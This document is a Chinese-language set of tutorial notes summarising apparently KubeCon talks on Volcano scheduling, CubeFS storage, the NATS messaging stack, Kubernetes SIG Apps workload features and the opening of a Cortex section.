在本节课中,我们将分享近期在Volcano项目中为加速高性能AI/机器学习训练所做的工作。我们将重点介绍为AI工作负载开发的新功能,深入探讨调度相关的技术,并展望未来的计划。

概述

近年来,AI工作负载,特别是大语言模型(LLMs)快速增长。从规模、效率和性能的角度来看,对基础设施的部署和设置提出了更高级的要求。然而,对于数据科学家等用户而言,他们可能不具备深厚的基础设施背景,因此保持使用的简单性至关重要。我们需要在暴露底层硬件拓扑细节与为用户提供更简单的使用方式之间找到平衡。

基于我们的观察和研究,我们认为有两个关键趋势与云原生AI基础设施密切相关。首先,在资源层,关注点从节点内拓扑(如NUMA感知)扩展到了节点间拓扑,特别是网络拓扑。其次,在基础设施管理层,工作负载(如分布式训练和推理)变得越来越复杂,需要找到更简单的方法将工作负载的部署模式映射到底层基础设施,以更好地利用网络拓扑。

深入核心功能:Volcano项目简介

Volcano项目在此领域已工作很长时间。它最初是Kubernetes调度器下的一个子项目,名为kube-batch。我们发现,工作负载感知的调度非常重要,不仅仅是逐个调度Pod。我们还需要重用调度算法的中间状态,管理大量工作负载队列,并处理不同用户间的公平共享。因此,我们扩展了其范围,使其成为一个独立的CNCF项目。目前,Volcano是CNCF的孵化级项目,并被许多用户用于训练和推理场景。

Volcano主要支持以下功能:

  • Batch API:如Volcano Job、PodGroup和JobFlow。
  • HyperNode:用于抽象底层网络拓扑的新API。
  • 广泛的生态集成:与主流AI框架、大数据框架及高性能计算框架均有良好集成。

核心新特性:HyperNode与网络拓扑感知调度

接下来,我们将详细介绍最重要的新特性之一:HyperNode和网络拓扑感知调度。

大型AI集群的设计者正在构建更强大的集群来支持训练和分布式推理工作负载。早期的研究和投资主要集中在节点内拓扑,而近期的需求则聚焦于节点间的网络拓扑。

例如,在NVIDIA DGX中,有“SuperPOD”的概念,即通过高性能GPU网络(如NVLink、InfiniBand)连接的一组节点。其他AI硬件解决方案提供商也设计了类似的概念,将一组节点定义为一个高性能域。尽管底层GPU网络的实现可能不同,但从抽象层看,它们有很多共同点。

因此,我们开始设计名为HyperNode的API。它定义了一组在网络性能(尤其是网络空间性能)上相似的节点。在实际用例中,一个HyperNode内的节点通常具有相同的规格。从API设计上,这个数据结构支持嵌套。

例如,底层是实际的Kubernetes节点。我们可以将所有连接到同一层级交换机(如switch0)的节点定义为一个HyperNode(如node7, node6,它们之间只有一跳)。我们还可以定义嵌套的HyperNode,例如将所有通过switch1第二层连接的节点作为一个更大的HyperNode。最终,在集群中会形成多个HyperNode树。你可以从数据中心网络或GPU网络(如InfiniBand)的角度定义不同的树,集群中允许多棵树并存。

当用户配置调度偏好时,可以在PodGroup中添加一个新字段:networkTopology。用户可以定义允许的最高层级(tier)。例如,将其设置为2,意味着调度器只会接受将Pod组调度到像S5或S4这样的HyperNode中的结果。这使得用户能够轻松地将需要密集通信的一组Pod映射到合适的节点组。

从工作负载的角度看,例如在推理场景中,像Laser之类的框架有“组”的概念来将一组Pod分组。对于训练,我们已经有Volcano Job,它本质上是一组可以协同工作的相似Pod。我们可以将这个组映射到Tier 1节点(即一跳连接的节点)。这样,可以在组内进行张量并行,在组间进行数据并行。这为用户提供了清晰的延迟预期,同时保留了灵活性,因为底层的实际网络配置可以根据所选的硬件提供商而变化。

调度工作流程与优势

我们目前正与许多硬件解决方案提供商合作,为不同的硬件加速器和AI集群提供自动发现功能。用户可以使用HyperNode控制器及提供商插件,自动发现底层的真实网络设置,并将其转换为一组HyperNode定义,形成集群内的树状结构。同时,我们依赖此机制收集状态信息,特别是健康检查。在大规模训练中,经常会遇到交换机或线缆连接问题,此功能可以更灵活地监控状态。

用户创建工作负载时,流程与往常一样,唯一增加的是networkTopology字段。Volcano调度器会找到最佳方式,将这组Pod映射到底层的HyperNode上。

对于网络拓扑感知调度,我们已工作很长时间。最初我们只是使用节点标签。从2020年开始,我们着手实现调度算法。然而,节点标签存在一些限制。因此,从去年开始,我们致力于将其实现为一个独立的API。

采用API机制有很多优势:

  1. 语义更清晰:作为一个具有明确字段的API,语义清晰。而节点标签的键值对可能因不同提供商而异。
  2. 配置更简单:使用标准API,用户可以轻松地复用相同的拓扑约束配置。而使用节点标签,配置可能很复杂。
  3. 粒度更灵活:HyperNode数据结构的设计提供了粒度上的灵活性和可扩展性。用户可以约束工作负载在Tier 1或Tier 2连接的HyperNode间分布。而使用节点标签,这一切都需要手动完成。
  4. 生命周期管理更便捷:通过统一的API,可以轻松查看HyperNode包含哪些节点,并监控健康状态。而节点标签需要不断查看和更新,且没有统一的地方来跟踪状态和向系统呈现健康信息。

其他关键功能更新

接下来,我们将介绍Volcano的其他一些功能更新。

任务生命周期管理与故障恢复

在分布式AI训练和高性能计算环境中,由硬件或软件问题引起的Pod故障可能会中断任务的完成。任务生命周期管理允许用户定义事件和操作来处理这些故障,例如重启整个任务。

最近的更新通过多层重启策略进一步增强了此能力。用户现在可以选择仅重启失败的Pod或单个任务,而不是重启整个任务,从而提高了任务执行效率。此外,还支持时间容忍策略。如果Pod在指定的时间窗口内恢复,则跳过预定义的操作。

GPU虚拟化

鉴于GPU资源成本高昂且利用率低(尤其在AI推理场景),Volcano提供了vGPU功能以提高效率,支持vcudamps模式。Volcano还提供了一个统一的API来请求分数GPU资源,称为vgpu-memoryvgpu-number,允许多个Pod共享单个GPU卡。

多集群环境下的AI任务调度

越来越多的用户使用多集群来管理工作负载。虽然他们在单个集群中使用Volcano作为调度器,但为了在多集群环境中也利用Volcano的调度能力,Volcano孵化了volcano-global子项目,用于多集群调度,包括多租户下的队列优先级调度、公平共享和地域优先级调度。

统一云调度与队列管理

除了AI工作负载调度和资源管理,Volcano还提供了统一云调度的附加功能。队列是资源管理中的一个关键概念,可被视为资源分配的基本单位,通常对应不同的团队或部门。

由于部门通常需要共享或回收资源,扁平的队列结构不足以有效管理分层结构中的资源。因此,需要更细粒度的非扁平结构来处理不同部门间的资源分配。这在将大数据从YARN迁移到云原生平台时变得尤为关键。

一个队列有三个重要字段:

  • capability:硬性限制。
  • deserved:弹性配额,可被其他队列回收。
  • guarantee:保留资源,不可共享。

在后续版本中,Volcano引入了资源仪表盘,用户可以查看作业、Pod组和队列,检查资源使用情况以及队列内的关键字段。在即将发布的版本中,Volcano仪表盘将支持创建、删除和更新所有这些资源,提供更多的控制和灵活性。

Volcano原生支持批量作业调度,并完全兼容默认的调度算法。这允许您以统一的方式调度批处理作业和微服务。此外,通过并置在线和离线作业以及动态资源超售,我们可以在确保在线作业的服务级别目标(SLO)的同时,优化资源利用率。

未来发展规划

分布式推理是一个关键场景,Volcano正在与Laser等框架的API集成,以支持Gang Scheduling。此外,Volcano将支持对Deployment和StatefulSet等工作负载的弹性副本设置,从而为微服务实现更好的Gang Scheduling。

对于多租户场景,我们正在努力支持不同队列的不同调度策略。我们也在改进调度功能,目前正在推进对DRA(动态资源分配)的支持。如果您有任何功能请求或关于功能优先级的建议,欢迎在相关issue中分享。

总结与社区

自开源发布以来,Volcano吸引了大量开发者和用户,目前已被超过60个组织用于生产环境。我们感谢所有的贡献者和用户。欢迎在GitHub上分享您的使用案例,我们的社区是开放的,欢迎任何与Volcano相关的问题或请求。您也可以按照我们的贡献指南进行贡献。最后,您可以通过我们的办公时间、GitHub和Slack频道与我们联系。

015:通过案例研究赋能用户

概述

在本节课中,我们将学习开源云原生存储系统 CubeFS 的架构、核心特性,并通过几个实际的终端用户案例,了解它如何解决 AI 存储、计算存储分离等场景下的挑战。课程内容基于 OPPO 工程师在 KubeCon 大会上的分享整理而成。


第一部分:CubeFS 架构介绍

上一节我们概述了课程内容,本节中我们来看看 CubeFS 的系统架构。

CubeFS 是下一代云原生存储系统,于 2019 年加入 CNCF,经过约五年发展,在去年年底从 CNCF 毕业。它是一个独立、自治的存储系统。

其架构主要包含以下几个子系统:

以下是 CubeFS 的核心组件:

  • 客户端子系统:这是一个非常复杂的组件,提供 S3、HDFS、POSIX 等多种接口协议的能力。客户端与后端频繁交互,甚至参与整个系统的流程。
  • 缓存子系统:这是一个为适配不同加速场景而全新设计的系统。目前,为支持 AI 场景,缓存系统变得越来越重要。
  • 元数据子系统:经过精心设计,具有强一致性且易于扩展。许多系统功能,如回收站、审计和原子操作接口,都需要元数据子系统的支持。
  • 对象访问子系统:与传统对象存储架构不同,CubeFS 基于文件系统引擎实现对象存储能力,可被视为一个无状态的代理系统。
  • 存储子系统:这是数据子系统,包含两个引擎。
    • 多副本引擎:提供数据冗余。
    • 纠删码引擎:这是一个独立的存储子系统,使用纠删码算法,拥有自己的元数据管理、巡检和管理系统。

第二部分:CubeFS 核心特性

了解了架构后,本节我们来总结 CubeFS 的主要特性。

  1. 多协议支持:支持 S3、HDFS、POSIX 等多种访问协议。
  2. 双存储引擎:提供多副本纠删码两种存储引擎。
  3. 强一致性:所有核心组件基于 Raft 和 Quorum 协议实现强一致性。
  4. 分布式缓存:具备分布式缓存能力,可用于加速场景。
  5. 智能分层:支持将数据从高性能介质迁移到低成本介质,帮助业务削减预算。
  6. 云原生集成:提供 CSI 插件,可轻松在 Kubernetes 上部署和使用。

第三部分:终端用户案例研究

上一节我们介绍了 CubeFS 的特性,本节中我们通过几个实际案例来看看它如何解决用户问题。

案例一:基于 CubeFS 构建 AI 存储

近年来,人工智能带来了巨大变革。每次产业升级都给存储带来挑战和机遇。在 AI 领域,我们面临存储容量、性能和数据流转的挑战。

AI 流程主要分为三个阶段,对存储有不同要求:

以下是 AI 流程各阶段对存储的需求:

  • 数据处理阶段:数据源写入存储系统,同时进行大量数据过滤和清洗。CubeFS 能处理不同数据源,并基于其可扩展能力处理海量数据。
  • 模型训练阶段:大多数训练场景中,数据读取是重复过程。CubeFS 具备处理高 IOPS 和低延迟的能力。
  • 推理阶段:需要将训练好的模型快速分发到端点。分发过程要求高吞吐量并在短时间内完成。

挑战:大语言模型与混合云
为获得更好模型,需要大量 Token、参数和深度。这产生了巨大的数据集、检查点和模型。同时,计算资源消耗巨大,许多公司选择使用公有云算力。

将计算从私有云转移到公有云(尤其是 Kubernetes 环境)可以实现,但存储面临挑战:数据地理分布变化带来的存储成本传输成本技术难度

解决方案:缓存加速与智能分层
OPPO 通过结合公有云缓存与自建云存储来满足 AI 训练需求。完整数据存储在自建云,热数据缓存在公有云。首次读取延迟相对增加,但重复读取性能更好。如果云中心与自建云中心距离短,影响可进一步降低。

模型分发挑战与缓存系统
模型分发是跨区域的一大挑战。高效分发建立在缓存系统上。缓存系统需具备以下特性:

以下是模型分发对缓存系统的要求:

  • 及时分发能力:CubeFS 缓存系统支持路径配置,当写入发生在配置路径内时,文件可同步到指定缓存端点,实现写时预热。
  • 写时控制:需要写时控制系统,防止客户端访问仍在写入的数据。
  • 主动预热:支持主动预热能力,以便更好地与业务操作集成。主动预热是一项服务,将请求预热的目录作为特定任务,由管理系统驱动。

缓存系统还需具备高性能、高吞吐以及负载均衡能力,避免热点缓存无法承受海量请求。

分布式缓存设计
如架构图所示,AI 训练模型存储在 CubeFS 后,通过缓存系统分发到推理服务终端。缓存系统基于一致性哈希设计。文件被分割成多个段(每段 1MB),每个段映射到一个哈希槽分区,多个哈希槽分区映射到一个缓存节点。

分布式缓存支持内存和磁盘存储形式。在基准测试中,每个拥有 4TB NVMe 磁盘容量的缓存节点可提供 50G 的网络吞吐,瓶颈在于带宽。

分布式缓存特性
CubeFS 分布式缓存在设计时考虑了多个方面:

以下是其主要特性:

  • 弹性副本:可根据业务需求配置缓存副本。主要用于两种场景:一是缓存系统常规运行中应对热数据的海量请求(通常使用单副本);二是多区域分发场景,数据可基于多副本形式全球分布。
  • 距离感知:在多副本缓存场景中,允许客户端选择网络延迟最低的副本缓存节点(该能力目前正在开发中)。
  • 任务调度:预热需求可作为任务运行,由系统调度。大型模型等业务可在实际运行前进行预热。
  • 生态集成:为集成云生态系统并适应更多使用场景,社区正寻求与 Fluid 等其他社区合作,提供后端数据持久化和云数据缓存加速的解决方案。

智能数据分层
在 OPPO,我们曾使用高性能磁盘支持 AI 场景的高吞吐,但存储 10PB 数据在 NVMe 上的年成本相当可观。通过对 AI 业务的数据分析发现,80% 的数据在三个月内不会被读取,热数据通常占总数据量的不到 10%。

平衡计算性能和存储成本的最佳方法是利用高性能介质承接写入压力并支持热数据读取,同时将数据迁移到低成本存储介质,即智能分层。

智能分层涉及几个技术点:

以下是智能分层的技术要点:

  • 生命周期系统:由 CubeFS 的 Master 节点实现,用于运行分层任务,实现可控、自动的分层过程。
  • 可配置路径:文件系统的目录可配置为分层路径。
  • 无感迁移:迁移过程中,使用客户端确保正常的读写操作不受影响。
  • 数据安全:为保障数据安全,迁移后原始数据会保留一段时间,并进行两端校验以保证数据一致性。

案例二:ClickHouse 的计算存储分离

计算和存储有不同的资源需求,因此计算存储分离是一个非常合理的解决方案。

在应用计算存储分离之前,ClickHouse 在存储方面存在几个痛点:

以下是 ClickHouse 存储的原有痛点:

  • 单节点存储容量有限:运维人员需密切关注存储空间并及时操作。
  • 成本高昂:必须为每个节点使用高容量磁盘以确保系统运行,成本显著。
  • 性能利用率低:磁盘性能无法充分利用,因为它只能被特定节点访问。
  • 平衡复杂:一旦节点间空间需要平衡,数据迁移和再平衡会相当复杂,并可能影响在线服务。

所有这些因素导致了与存储相关的稳定性问题。因此,最好将专业的事情交给专业的团队。

架构演进 1.0:双单副本卷
这是第一个版本的架构,保留了 ClickHouse 原有结构,使用了 CubeFS 的单副本模式。为确保卷分布彼此独立,ClickHouse 使用两个 CubeFS 集群来存储不同的副本。

这种方法提供了近乎无限的存储空间,并显著降低了成本,同时适应了 ClickHouse 的原始架构。然而,它也有缺点:由于使用了两个独立的单副本卷,存储无法保证一致性,因为两个卷无法感知彼此,存储平台不知道这两个卷的关系。

检查模块需要定期进行巡检以保证一致性。一旦因为单副本导致 CubeFS 出现坏盘,无法自动修复,修复依赖于 ClickHouse 的检查器模块。同时,为加快修复速度,坏盘应及时被 ClickHouse 检测到。然而,巡检和修复需要很长时间。这些系统架构的缺点在一定程度上影响了在线服务,导致请求处理延迟。

架构演进 2.0:共享存储
最终,ClickHouse 团队更新了整个架构,使用 CubeFS 作为共享存储。与上一页的设计相比,ClickHouse 无需关心数据修复。可靠性和稳定性远优于仅使用单副本的设计。并且,由于完全依赖 CubeFS,可以自动修复磁盘故障。此外,运维简单,CubeFS 可自行恢复故障,无需干预,业务无感知。


案例三:基于 SDK 的计算存储分离

ClickHouse 的计算存储分离基于 FUSE 客户端,存储通过 FUSE 访问。FUSE 是访问存储的标准工具,但在现实中,FUSE 可能影响整体性能。

SDK 具有以下特性:高性能和稳定性。这是因为 SDK 完全运行在用户态,绕过了内核态,同时摆脱了 FUSE 的许多限制,例如块大小限制。此外,它还能适应用户态的一些特殊需求。

图中展示的是一个基于 LSM Tree 的典型计算服务,该服务将 WAL 日志和 SST 文件都存储在 CubeFS 中。这是一个典型的仅追加写入的存储应用。

这是一个键值存储的典型架构,通常用于在线服务的大规模键值存储,如 Redis 和 RocksDB。对数据存储稳定性的要求极高,特别是 P99 延迟要求应保持在 1 毫秒以内。基于这些需求,我们在后端实际上做了大量优化。


第四部分:发展路线与未来展望

上一节我们探讨了 CubeFS 的实际应用案例,本节我们来看看它的发展路线和未来计划。

去年,社区发布了多个版本,包括四个正式版本和三个 Beta 版本。今年,CubeFS 已经发布了 3.5.0 版本,并且计划再正式发布三个版本。

以下是近期的版本计划:

  • 版本 3.5.1:主要专注于分布式缓存(这在今天的演讲中多次提到)。但这并非最终版本。
  • 版本 3.5.2:作为分布式缓存的第二阶段,将发布一个增强版本。同时,该版本将是一个稳定性增强版本,包含原子迁移等特性。
  • 混合云与成本优化:如演讲中提到的,我们将把元数据内存放入低成本存储以降低内存成本,这也是混合云分层的基础。

如果我们还有精力,计划在以下方面进行投入:

以下是未来的重点方向:

  • 性能提升:持续进行性能改进。
  • 混合云:希望构建一个完整的混合云系统,支持外部 S3 存储,并使数据自由流动。

总结

本节课中,我们一起学习了 CubeFS 云原生存储系统。我们从其架构和核心特性入手,了解了它如何通过多协议支持、双存储引擎、强一致性和分布式缓存等能力满足现代应用需求。接着,我们深入研究了三个终端用户案例:在 AI 存储场景中,CubeFS 通过缓存加速和智能分层应对海量数据和混合云挑战;在 ClickHouse 场景中,它实现了计算存储分离,提升了稳定性和可维护性;在基于 SDK 的场景中,它提供了高性能的用户态访问。最后,我们展望了 CubeFS 的未来发展路线。希望本教程能帮助你理解 CubeFS 如何在实际生产中赋能用户。

016:库、扩展与执行引擎

在本节课中,我们将学习 NATS 消息系统的核心栈,包括其库、扩展功能以及基于 NATS 构建执行引擎的实践经验。我们将探讨 NATS 如何简化分布式系统架构,并展示其在实际应用中的强大能力。

项目简介与愿景

上一节我们介绍了课程主题,本节中我们来看看 NATS 项目的核心愿景。

NATS 项目旨在应对现代分布式系统的复杂性。回顾过去,应用架构曾非常简单:一台服务器、一个应用、一个数据库。如今,应用必须分布式部署,可能需要在边缘运行,并且网络连接并不总是可靠。

当前的技术栈通常需要集成多种组件来实现通信、可观测性、持久化等功能。这导致架构变得复杂,开发者需要花费大量时间维护这些基础设施组件,而非专注于业务逻辑。

NATS 希望回归简单。它思考现代分布式系统真正需要什么,并尝试用一个统一的技术栈来满足这些需求,从而简化架构,让开发者能更专注于业务创新。

NATS 的核心优势

了解了项目愿景后,我们来看看 NATS 具体提供了哪些优势来解决上述问题。

NATS 致力于消除传统架构中的固有局限。它不局限于一对一通信,支持多种通信模式。其设计是去中心化和位置无关的,非常适合边缘计算场景。同时,它力求用单一技术解决多种问题,降低学习和运维成本。

具体而言,NATS 提供以下关键能力:

  • 服务发现:服务可被自动发现。
  • 灵活的通信模式:支持请求/回复、发布/订阅等多种模式。
  • 去中心化与多租户:支持安全的账户和用户体系,实现资源隔离。
  • 智能路由:可将服务部署到边缘进行本地数据处理。
  • 应对网络问题:能优雅处理不稳定的网络连接。

NATS 为不同角色的团队成员提供了价值:

  • 开发者:获得统一的 API 来使用各种通信模式和持久化存储(如键值存储、对象存储)。
  • 架构师:可以设计跨云、跨地域并延伸至边缘的基础设施。
  • 运维人员:获得多租户、安全、监控等必要的运维管控能力。

NATS 2.11 新特性与 Orbit

在理解了 NATS 的核心价值后,我们聚焦于其最新进展。NATS 2.11 版本带来了多项重要更新。

NATS 2.11 是一个备受期待的版本,其主要新特性包括:

  • 分布式消息追踪:在大规模拓扑中追踪消息流向。
  • 每条消息的 TTL(生存时间):可为流中的单条消息设置独立的过期时间,无需为不同寿命的消息创建不同的流。
  • 消费者暂停与恢复:可以暂停和恢复 JetStream 消费者,便于进行管理和维护。
  • 消费者优先级组:为未来功能打下基础,例如在服务过载时将请求溢出到其他可用区或云。
  • 批量直接获取:无需创建消费者,即可通过单个轻量级 API 调用获取多条消息。
  • Orbit 扩展库:为解决官方客户端跨语言特性同步和 API 迭代难题而设计。开发者可以为任何语言创建客户端扩展,经过社区验证和迭代后,稳定的 API 可被纳入官方客户端。

此外,NATS Kubernetes 运算符(NACK)进行了重写,现在包含适当的控制循环,并支持管理键值存储和对象存储。JavaScript 客户端也进行了重写,变得更加模块化。

灵活的集群架构模式

介绍完新特性,我们来看看 NATS 在实际中如何部署。NATS 支持极其灵活的集群架构。

NATS 服务器有两种运行模式:服务器模式叶节点模式。它们是同一个二进制文件,通过不同的配置实现。利用这两种模式,可以构建出适应各种场景的集群拓扑。

以下是几种常见的架构模式:

  • 多云与本地混合:将本地数据中心与多个云平台(如 AWS、GCP、Azure)的集群连接,共同为终端用户提供服务。
  • 边缘中心辐射型:在零售门店等边缘位置部署小型集群,它们之间可以互相备份,同时连接到云端的大型中心集群。
  • 跨云 AI 网格:在不同云中部署服务,通过 NATS 主题总线实时协调模型推理、训练和数据采集,实现资源的动态流动和故障转移。

NATS 不定义“边缘”的具体形态,它可以适配从大型机、服务器到手机、嵌入式设备的各类边缘环境。

基于 NATS 构建应用:执行引擎案例

了解了 NATS 的部署灵活性后,我们通过一个具体案例看看如何在其上构建应用。这里以构建“执行引擎”产品为例。

NATS 生态是分层构建的:

  1. 连接层:提供发布/订阅、负载均衡、服务发现等基础通信能力。
  2. JetStream 层:在此之上添加了流、键值存储、对象存储等持久化功能。
  3. 应用层:开发者可以基于前两层构建自己的应用。

在构建执行引擎时,团队发现无需引入额外的数据库或缓存等组件,许多功能已由 NATS 原生提供。甚至在安全方面,也可以利用 NATS 服务器的账户系统OAuth 回调基于主题的权限控制来实现多租户隔离,而无需在应用代码中编写复杂的安全逻辑。

实战演示:配置实现安全多租户

理论需要实践验证。接下来,我们通过一个演示来展示如何通过纯配置实现 NATS 的多租户安全。

演示从一个默认的不安全场景开始。两个用户都能看到和执行彼此的工作负载,甚至能执行管理员命令。

通过修改 NATS 服务器配置,创建三个账户(一个管理员,两个普通用户),并定义详细的导出/导入规则权限,可以实现:

  • 用户隔离:用户只能访问和管理自己账户下的工作负载。
  • 权限控制:普通用户无法执行管理员专属的命令。
  • 高性能拒绝:未经授权的请求会在 NATS 服务器层被立即拒绝,不会进入应用逻辑。

这证明了通过精心设计的 NATS 配置,可以为应用提供强大的安全基础,而无需在应用代码中重复实现这些逻辑。

问答与总结

在最后的互动环节,演讲者回答了观众关于工作负载类型、键值存储性能优化以及执行引擎与 NATS Micro 区别等问题。

关键点包括:

  • 工作负载:执行引擎可以运行容器等多种类型的工作负载。未来将支持事件触发的函数即服务(FaaS)模式。
  • 键值存储性能:NATS 2.11 引入的每条消息 TTL 功能旨在解决键值存储中手动压缩的性能问题,通过自动过期删除来保持存储引擎的轻快。
  • 与 NATS Micro 的关系:执行引擎不是新的运行时,而是控制平面。它基于 NATS Micro 构建,负责将用户的工作负载(如 OCI 镜像)智能地部署到最合适的底层运行时(如 Kubernetes、ECS)中,简化了部署流程。

本节课中我们一起学习了 NATS 消息系统的整体栈、其简化分布式架构的理念、最新版本特性以及如何利用其强大功能(如灵活的集群模式和安全的多租户)来构建上层应用。NATS 通过提供单一、强大且灵活的技术,旨在帮助开发者从复杂的基础设施管理中解脱出来,更专注于创造业务价值。

017:大规模数据管理 - SIG Apps 的最佳实践与演进

在本教程中,我们将学习 Kubernetes 中的 SIG Apps(应用程序特别兴趣小组)。我们将了解 SIG Apps 的职责、过去一年的主要工作成果、正在开发的新功能,以及如何参与社区贡献。内容将涵盖核心控制器(如 Deployment、Job、StatefulSet)的演进,旨在让初学者对 Kubernetes 应用管理工作负载的原理和未来发展有清晰的认识。

如何联系我们 📞

SIG Apps 定期举行会议,并提供了多种社区沟通渠道。

我们每隔一周的周一举行会议。会议时间根据您所在的时区有所不同,具体信息可在我们的网页上找到。

最佳的联络方式是通过 Kubernetes Slack 的 #sig-apps 频道,或者通过邮件列表。我们的邮件地址是 sig-apps@kubernetes.io

SIG Apps 的职责范围 🎯

上一节我们介绍了如何联系 SIG Apps,本节中我们来看看这个小组具体负责哪些工作。

SIG Apps 在 Kubernetes 项目中的影响范围相当广泛。理论上,我们始终欢迎并邀请社区成员来展示他们的工作。

虽然 SIG Apps 主要围绕 Kubernetes 核心控制器进行演进,例如 DeploymentJobCronJobReplicaSetStatefulSet,但我们始终乐于听取社区用户在使用 Kubernetes 时遇到的各类问题、解决方案,以及他们对内置资源限制的看法。

如果您发现 SIG 负责的内置资源存在限制,我们非常乐意听取您的问题,并探讨如何解决。多年来社区积累了大量的讨论,我们或许能为您指明正确的方向,或将您与曾处理过类似问题的其他团队或个人联系起来。

此外,我们每年都会撰写一份年度总结报告,概述我们特别兴趣小组的工作。您可以在演讲日程中找到相关链接。

近期稳定发布的功能 🚀

在了解了 SIG Apps 的职责后,本节我们将回顾过去一年左右发布的一些重要稳定功能。

以下是过去一年中我们发布的一些稳定功能,括号内标注了它们首次引入的 Kubernetes 版本。您可能已经有机会试用它们。如果您有任何反馈,请告诉我们。

  1. Pod 中断预算的改进:Pod 中断预算(PDB)原本会同时计算 就绪未就绪 的 Pod。此次改进增加了一个新字段,允许您明确指定 PDB 只计算就绪的 Pod。这意味着未就绪的 Pod 可以被驱逐,这在某些情况下有助于节省资源。其配置类似于:

    apiVersion: policy/v1
    kind: PodDisruptionBudget
    spec:
      selector: ...
      maxUnavailable: 1
      unhealthyPodEvictionPolicy: IfHealthyBudget # 新字段:仅健康Pod计入预算
    
  2. ReplicaSet 缩容随机化:过去,ReplicaSet 缩容时默认采用一种算法优先选择最新创建的 Pod。现在,我们引入了更多的随机性,使 Pod 选择更加随机,让用户对滚动更新过程有更多控制。

  3. StatefulSet 起始序号:此功能允许您为 StatefulSet 的 Pod 指定一个起始序号(例如从 3 开始,而不是默认的 0)。这在跨集群迁移 StatefulSet 时非常有用,可以保持 Pod 序号的一致性。

  4. StatefulSet 的 PVC 保留策略:与 SIG Storage 合作,我们为 StatefulSet 引入了明确的持久卷声明(PVC)保留策略。现在,您可以配置 StatefulSet,在缩容或删除时自动删除其关联的 PVC。这是一个需要您明确做出的决定,并且可以分别为“删除”和“缩容”配置不同的策略。

由 Batch 工作组驱动的重要功能 ⚙️

上一节我们看了一些通用功能的改进,本节中我们来看看由 Batch(批处理)工作组驱动的一系列重要功能。SIG Apps 近年来的很多工作,特别是过去两三年,都深受 Batch 工作组的影响。

这个工作组帮助确保各类工作负载(无论是 AI/ML 还是高性能计算)都能在 Kubernetes 集群中顺利运行。因此,许多围绕 Job 的改进都来自 Batch 工作组。

  1. 弹性索引 Job:索引 Job 是 Job 和 StatefulSet 的结合体,每个 Pod 都有一个特定的索引。此功能允许您在同时修改 completionsparallelism 字段时,动态地扩展或修改索引 Job。这对于 MPI 或 HPC 计算场景非常有用。其核心思想是允许 Job 规模动态调整,公式可以理解为:允许动态调整规模 iff (completions 与 parallelism 被同时且等值修改)

  2. CronJob 创建时间注解:当 CronJob 创建 Job 时,现在会向 Job 注入一个注解,记录该 Job 本应被创建的时间。这样,即使集群出现问题导致执行延迟,您也可以在 Job 中检查到原始的计划执行时间。

  3. Pod 索引注解:我们为 StatefulSet 和索引 Job 中的 Pod 注入了包含其索引信息的注解。这样,Pod 内的应用程序可以直接读取这个注解来获知自己的索引号,而无需手动注入。例如,在 Pod 内可以通过环境变量或 Downward API 访问此注解。

  4. 每索引回退限制:在 Job 中,您可以设置全局的重试次数限制(回退限制)。现在,对于索引 Job,此限制可以基于每个 Pod 索引单独计算。这意味着,如果一个 Pod 因为所在节点故障而反复失败,它只会消耗自己索引的重试次数,而不会导致整个 Job 因达到全局重试限制而失败。

  5. Job 成功与完成策略:此前,Job 必须完成所有指定任务才算成功。现在,您可以定义退出条件,允许 Job 在达到所有预设的完成数量之前就提前结束。这对于某些批处理用例很有用。

  6. 暂停 Job 执行:此功能主要来自 Kueue 项目。它允许您为 Job 添加一个注解,标明该 Job 由一个外部控制器管理。Kubernetes 内置的 Job 控制器将不会执行这个 Job。我们投入了大量精力来确保 Job 对象的状态验证在 API 服务器中被正确定义和编码,从而强制外部控制器也必须遵守相同的状态报告规则,保证用户无论使用内置还是外部控制器,都能获得一致的 Job 状态体验。Kueue 的主要用例是在多集群环境中,在中心集群定义 Job,而实际执行则发生在子集群中。

未来路线图与挑战 🔮

在回顾了已发布的稳定功能后,本节我们展望一下 SIG Apps 正在规划和面临挑战的未来功能。

以下是我们计划在接下来几个版本中推进的一些功能。

  1. Job Pod 故障策略:这是一个已经开发了一年多的功能。它允许用户在 Job 中定义一套完整的子规则语言,来描述当 Pod 以特定方式失败时应采取的措施(例如重试、标记为成功等),而不仅仅是基于退出码。

  2. Deployment 滚动更新同步:目前,Deployment 在滚动更新时会尽可能快地创建新 Pod 替换旧 Pod。但在某些场景下(例如集群资源配额已满),这可能无法进行。此功能旨在让更新过程更加“同步”,即只有在旧 Pod 进入终止状态后,才创建新 Pod,从而避免触及配额限制。

  3. 增强的节点排空机制:这是一个正在多个 SIG(如架构、节点、自动扩缩容、Apps)中广泛讨论的话题。目前 Kubernetes 缺乏表达节点排空过程细节的能力,例如排空应持续多久、哪些 Pod 可以强制驱逐等。我们正在探讨如何更好地描述整个排空过程,并引入外部参与者来协助工作负载迁移。

  4. StatefulSet 的 MaxUnavailable:这是一个历史悠久的特性提案,旨在为 StatefulSet 引入类似 Deployment 的 maxUnavailable 参数,以加速滚动更新。然而,主要的挑战在于如何为 StatefulSet 的滚动更新定义一个可靠且一致的监控指标。对于顺序更新的 StatefulSet,其更新速度受每个 Pod 内应用程序启动时间的显著影响,这使得我们难以定义一个通用的、可判断功能是否正常工作的度量标准。此外,原主要贡献者已转向其他工作,我们正在寻找新的志愿者来推动此功能。

总结 📝

本节课中我们一起学习了 Kubernetes SIG Apps 的方方面面。

我们首先了解了如何联系这个社区小组。接着,我们探讨了 SIG Apps 的广泛职责,它不仅负责核心控制器(Deployment、Job、StatefulSet等)的演进,也积极聆听社区反馈。然后,我们回顾了过去一年发布的一系列稳定功能,包括对 PDB、ReplicaSet、StatefulSet 的改进,以及由 Batch 工作组驱动的、针对 Job 的诸多增强功能,如弹性索引 Job、Pod 索引注解、每索引回退限制等。最后,我们展望了未来的开发路线,包括 Job Pod 故障策略、Deployment 同步更新、增强的节点排空以及 StatefulSet 的 MaxUnavailable 等面临挑战但意义重大的功能。

SIG Apps 始终对社区的反馈和贡献持开放态度。如果您对这些功能有任何想法,或希望参与贡献,欢迎通过之前提到的渠道联系我们。

019:Cortex - 洞察、更新与路线图 🚀

在本节课中,我们将全面了解云原生监控项目 Cortex。我们将从项目介绍和架构开始,通过演示展示其核心功能,然后深入了解过去一年的重要更新,并展望未来的发展路线图。


项目介绍与架构 🏗️

感谢各位参与。今天我们将介绍 Cortex 项目,分享过去一年发布的新功能,并介绍未来一年的发展路线图。

